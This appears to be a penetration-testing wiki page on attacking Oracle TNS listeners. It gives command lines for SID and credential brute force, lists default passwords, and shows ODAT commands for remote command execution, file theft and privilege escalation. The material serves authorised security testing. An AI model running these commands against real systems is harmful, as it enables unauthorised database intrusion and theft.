.. | ||
oracle-pentesting-requirements-installation.md | ||
oracle-rce-and-more.md | ||
README.md | ||
remote-stealth-pass-brute-force.md | ||
tns-poison.md |
1521,1522-1529 - Pentesting Oracle TNS Listener
Basic Information
Oracle database Oracle DB
is a relational database management system RDBMS
from the Oracle Corporation from [here](https://www.techopedia.com/definition/8711/oracle-database)
.
When enumerating Oracle the first step is to talk to the TNS-Listener that usually resides on the default port 1521/TCP, -you may also get secondary listeners on 1522–1529-
.
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
Summary
- Enumerate version info
search for **known vulns**
- Bruteforce TNS listener communication
not always needed
- Enumerate/Bruteforce SID names
like database names
- Bruteforce credentials for valid SID name discovered
- Try to execute code
In order to user MSF oracle modules you need to install some dependencies: ****Installation****
Enumeration
Tools that can be used for this are: nmap, MSF and tnscmd10g.
TNS listener version
nmap --script "oracle-tns-version" -p 1521 -T4 -sV <IP>
msf> use auxiliary/scanner/oracle/tnslsnr_version
#apt install tnscmd10g
tnscmd10g version -p 1521 -h <IP>
Other useful TNS listener commands:
Command | Purpose |
---|---|
ping | Ping the listener |
version | Provide output of the listener version and platform information |
status | Return the current status and variables used by the listener |
services | Dump service data |
debug | Dump debugging information to the listener log |
reload | Reload the listener configuration file |
save_config | Write the listener configuration file to a backup location |
stop | Invoke listener shutdown |
If you receive an error, could be because TNS versions are incompatible Use the `--10G` parameter with `tnscmd10`
and if the error persist, the listener may be password protected you can see a list were all the [**errors are detailed here**](https://docs.oracle.com/database/121/ERRMG/TNS-00000.htm#ERRMG-GUID-D723D931-ECBA-4FA4-BF1B-1F4FE2EEBAD7)
— don't worry… hydra to the rescue**:**
hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener
The TNS listener could be vulnerable to MitM attacks. Check here how to check if the server is vulnerable and how to perform the attack (all versions up to version 12c are).
SID enumeration
What is a SID
The SID Service Identifier
is essentially the database name, depending on the install you may have one or more default SIDs, or even a totally custom dba defined SID.
In some old versions (in 9 it works) you could ask for the SID and the database send it to you:
tnscmd10g status-p 1521 -h <IP> #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
#msf1
msf> use auxiliary/scanner/oracle/sid_enum
msf> set rhost <IP>
msf> run
#msf2
msf> use auxiliary/admin/oracle/tnscmd
msf> set CMD (CONNECT_DATA=(COMMAND=STATUS))
msf> set rhost <IP>
msf> run #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
If you cant access this way to the SIDs you will need to bruteforce them:
SID Bruteforce
I have merged the nmap and MSF sid lists into this one without duplicates
:
{% file src="../../.gitbook/assets/sids-oracle.txt" %}
hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 <IP> oracle-sid
patator oracle_login host=<IP> sid=FILE0 0=sids-oracle.txt -x ignore:code=ORA-12505
./odat.py sidguesser -s $SERVER -d $SID --sids-file=./sids.txt
msf> use auxiliary/admin/oracle/sid_brute #This will use the list located at /usr/share/metasploit-framework/data/wordlists/sid.txt
nmap --script +oracle-sid-brute -p 1521 10.11.1.202 #This will use the list lcated at /usr/share/nmap/nselib/data/oracle-sids
In order to use oracle_login with patator you need to install:
pip3 install cx_Oracle --upgrade
Targeting Accounts
Got SID? Excellent, now let’s move to the next task and extract the user account information. From this point, you can connect to the listener and brute-force credentials.
Metasploit ****scanner/oracle/oracle_login It has a built-in dictionary for the most popular default values of user account information presented as login:password. By the way, such default entries represent one of the most popular and serious security problems in Oracle.
Nmap can also help here with the script oracle-brute. Note that this script mixes the logins and passwords, that is, it tries each login against every password, and it takes quite a while!
Default Passwords
Below are some of the default passwords associated with Oracle:
- DBSNMP/DBSNMP — Intelligent Agent uses this to talk to the db server
its some work to change it
- SYS/CHANGE_ON_INSTALL — Default sysdba account before and including Oracle v9, as of version 10g this has to be different!
- PCMS_SYS/PCMS_SYS — Default x account
- WMSYS/WMSYS — Default x account
- OUTLN/OUTLN — Default x account
- SCOTT/TIGER — Default x account
Other default passwords can be found here and here.
The versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3 are vulnerable to offline brute force. ****Read more about this technique here.****
User/Pass bruteforce
Different tools offered different user/pass lists for oracle:
- oscan: /usr/share/oscanner/accounts.default
169 lines
- MSF-1: from admin/oracle/oracle_login __/usr/share/metasploit-framework/data/wordlists/oracle_default_passwords.csv
598 lines
- MSF-2: from scanner/oracle/oracle_login /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt
568 lines
- Nmap: /usr/share/nmap/nselib/data/oracle-default-accounts.lst
687 lines
I have mixed all of them and removed duplicates:
{% file src="../../.gitbook/assets/users-oracle.txt" %}
{% file src="../../.gitbook/assets/pass-oracle.txt" %}
Brute Force
Now, that you know a valid SID and valid credentials. To connect to the database you need the tool: sqlplus and to install it you need to follow some steps:
To login using known credentials:
sqlplus <username>/<password>@<ip_address>/<SID>;
If the TNS Listener is on a non-default port e.g. TCP/1522
:
sqlplus <username>/<password>@<ip_address>:<port>/<SID>;
If an account has system database priviledges sysdba
or system operator (sysop) you may wish to try the following:
sqlplus <username>/<password>@<ip_address>/<SID> 'as sysdba';
#Example:
sqplus SYSTEM/MANAGER@192.168.0.2/ORCL 'as sysdba'
All in One
An interesting tool is oscanner, which will try to get some valid SID and then it will brute-force for valid credentials and try to extract some information:
#apt install oscanner
oscanner -s <IP> -P <PORT>
Another tool that will do all of this it odat:
git clone https://github.com/quentinhardy/odat.git
cd odat
./odat.py --help #It shouldn't be problems in Kali
./odat.py all -s <IP> -p <PORT>
./odat.py all -s <IP> -p <PORT> -d <SID> #To bruteforce accounts for that SID
With these options _-s_ and _-p_
, ODAT will search valid SID System ID
in a first step. You can configure some options for configuring methods i.e. word-list or brute-force attack
. By default, ODAT will use a big word list and it will do a small brute-force attack.
If ODAT founds at least one SID e.g. _ORCL_
, it will search valid Oracle accounts. It will do that on each SID found. You can specify some options for credentials e.g. _--accounts-file_, _--accounts-files_, _--login-as-pwd_
.
For each valid account e.g. _SYS_
on each valid instance SID
, ODAT will return what each Oracle user can do e.g. reverse shell, read files, become DBA
.
Wiki odat****
Remote Code Execution
There are at least two different ways to execute commands, such as by using Java procedures and DBMS_SCHEDULER package. By the way, you can also achieve RCE in case of SQL injection in a web application provided, of course, that the user running it has sufficient rights. At this stage, I highly recommend preparing the Oracle Database Attacking Tool: ODAT.
Install ODAT
git clone https://github.com/quentinhardy/odat.git
cd odat
./odat.py #It shouldn't be problems in Kali
Execute Code via Java Stored Procedure
./odat.py java -s <IP> -U <username> -P <password> -d <SID> --exec COMMAND
Execute code via Scheduler
./odat.py dbmsscheduler -s <IP> -d <SID> -U <username> -P <password> --exec "C:\windows\system32\cmd.exe /c echo 123>>C:\hacK"
Execute code via External Tables
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --exec "C:/windows/system32" "calc.exe"
‘ODAT.py’ requires the privilege ‘CREATE ANY DIRECTORY’, which, by default, is granted only to DBA role, since it attempts to execute the file from any and not only “your” directory the manual version of this attack requires less privileges
.
Read/Write files
./odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "C:/test" token.txt token.txt
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --getFile "C:/test" "my4.txt" "my"
Elevating Privileges
You can use the privesc module from odat to escalate privileges. In that link you can find several ways to escalate privileges using odat.
./odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD -h #Get module Help
Vulnerability tested on oracle 10.1.0.3.0 – should work on thru 10.1.0.5.0 and supposedly on 11g. Fixed with Oracle Critical Patch update October 2007.
msf> use auxiliary/sqli/oracle/lt_findricset_cursor
Free Virtual Environment for testing
If you want to practice attacking Oracle databases, the safest way is to register for the Oracle Developer Days Virtualbox VM:
{% embed url="http://www.oracle.com/technetwork/database/enterprise-edition/databaseappdev-vm-161299.html" %}
Most part of the information in this post was extracted from: https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573 and from https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/
Other interesting references:
http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html